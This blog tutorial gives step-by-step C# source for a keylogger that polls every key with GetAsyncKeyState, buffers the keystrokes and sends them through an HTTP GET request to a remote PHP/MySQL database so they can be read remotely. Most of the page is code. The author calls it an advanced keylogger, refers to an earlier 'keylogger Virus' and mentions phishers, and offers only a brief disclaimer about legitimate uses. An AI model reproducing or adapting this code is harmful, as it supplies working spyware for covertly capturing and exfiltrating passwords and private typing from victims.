Advanced Keylogger remote database (that sends email)

A very Long time ago I created a tutorial, a C++ tutorial on how to make a simple keylogger Virus. A lot of Viewers requested me to make an Addition to the tutorial: i.e. a keylogger which sends the logged text file or string as an email (Attachment) to an email address. This is the most common term searched online in the relation to this Topic.
And please do not get me wrong. While a keylogger is often used in an unethical way its primary purpose is useful in all means, text input, hotkeys, bug tracking, etc. but also private use in form of actually logging everything whether it is personal use to secure what you have typed into a text editor in case it crashes or making sure your computer is not used by somebody else without your knowledge or watch out for your kids about what they do on the computer.
Today I have an advanced keylogger tutorial in comparison to my Video. And yes I will make a Video on this soon it will be embedded below.
However, todays method is a Little bit better from my perspective. Instead of sending an email we will be submitting the logs to a database remotely and we will also be able to Access and read the logged Information remotely.
So what you will need for this is a webspace with a MySql Database preferably with PHPMyAdmin on it because it is the easiest database management system alternatively you can do it via SSH remotely.

Let us start with the Keylogger class. For the sake of this tutorial there will be just a keylogger class which will have a Character Buffer to store chars which have been input as well as a List of tasks to submit our characters to the server.
What we will also need is two imports from user32.dll, which is a standard windows library. We will import GetAsyncKeyState, it is the same function used in my other C++ keylogger tutorial video on youtube. We will also import MapVirtualKey to map our keycodes into actual keychars.

[DllImport("user32.dll")]
public static extern int GetAsyncKeyState(int vKey);

[DllImport("user32.dll")]
static extern int MapVirtualKey(uint uCode, uint uMapType);

Next we will need a few variables.

private List<char> CharBuffer;
private List<Task> Tasks;
private bool Captured;
private const int MaxCharBufferLength = 20;

Now let us create a constructor for the class which creates an object instance of our Lists and sets the captured flag to false.

public Keylogger() {
    Captured = false;
    CharBuffer = new List<char>();
    Tasks = new List<Task>();
}

I am also going to create a run void which actually starts the keypress scanning loop of the keylogger and I will simply call it run.

public void Run() {
    KeyPressLoop();
}

Now I will write the actual loop void it will scan for integers between 1 and 190 whether they are pressed or not using the imported GetAsyncKeyState method. If they are pressed I will check whether the captured flag is set to true, if we have captured it then we do not capture the current keypress again. Otherwise we would spam the same keypress while it is pressed which will result in repeated chars not matching the reality.
If the keypress has not been captured yet the method will pass the integer to another method I will name CaptureKey which will take care of adding the key properly into the char buffer list.
After the while loop means once the key has been released we will set the captured flag back to false so that we can continue capturing new keys.

private void KeyPressLoop() {

    for (;;) {

        for (int i = 1; i < 190; i++) {
            while ((GetAsyncKeyState(i) & 0x8000) == 0x8000) {
                if (Captured) {
                    continue;
                }
                CaptureKey(i);

                
            }
            Captured = false;
        }

        Thread.Sleep(10);
    }
}

A little function returning the current length of the buffer to check whether it exceeds the given limit later or not.

public int GetBufferLength() {
    return CharBuffer.Count;
}

Here is the little implementation of the character mapping using the imported function in the beginning. We simply return the mapped character as a char from this method.

//Converts numeric key code into char
private char GetMappedChar(int key, int shifted) {
    int NonVirtualKey = MapVirtualKey((uint)key, (uint)shifted);
    char MappedChar = Convert.ToChar(NonVirtualKey);
    return MappedChar;
}

This is the second main function of this class which makes all of this work. Here we can filter special keys such as Space, Backspace, Enter, Shift etc. You are getting the point. I will simply leave it at default, you can add all the extra keys you desire capturing. Here we will also check whether the buffer exceeds our determined limits and if it does we will create a task of a submitchars method we will write which is going to build a string from our chars list and submit it via our interface to the server. A Task list will be useful to not lose chars due to a slow connection just in case.

//captures key into charbuffer
private void CaptureKey(int key, bool up = false) {
    switch (key) {
        default:
            CharBuffer.Add(GetMappedChar(key, 2));
            break;
    }
    Captured = true;

    Console.Write(GetMappedChar(key, 2));

    if (GetBufferLength() >= MaxCharBufferLength) {
                    Tasks.Add(Task.Run(() => SubmitChars()));
                    Tasks.RemoveAll(x => x.Status == TaskStatus.RanToCompletion);
            }

}

You can use this little void function to add special keys to the char buffer. I am sure you will figure out how to use this. This is not necessary, you can also write your own.

//adds whole string to charbuffer
private void AddString(string special) {
    foreach (char c in special.ToCharArray()) {
        CharBuffer.Add(c);
    }
}

Finally the submit chars function which will only serve as a task in the submit chars task list. We simply instantiate a stringbuilder and build a string from the chars. After that we create a webrequest to the server submitting the text as a PHP GET parameter. This is only my little example. You can use whatever you like to, node.js server you name it. You could also encrypt the communication or at least encrypt the string in case you are submitting sensitive information.

private void SubmitChars() {
    StringBuilder sb = new StringBuilder();

    foreach (char c in CharBuffer) {
        sb.Append(c);
    }

    WebRequest.Create("http://localhost/logger/submit.php?text=" + sb.ToString()).GetResponse();
    
    CharBuffer.Clear();
}

Alright this is pretty much it for this article. I hope this helps you and I hope you will agree that this is much better and easier than sending emails. Sending emails is the old runescape and steam phisher way of submitting information to a server. Honestly I would feel weird doing that.

Leave a Reply

Your email address will not be published. Required fields are marked *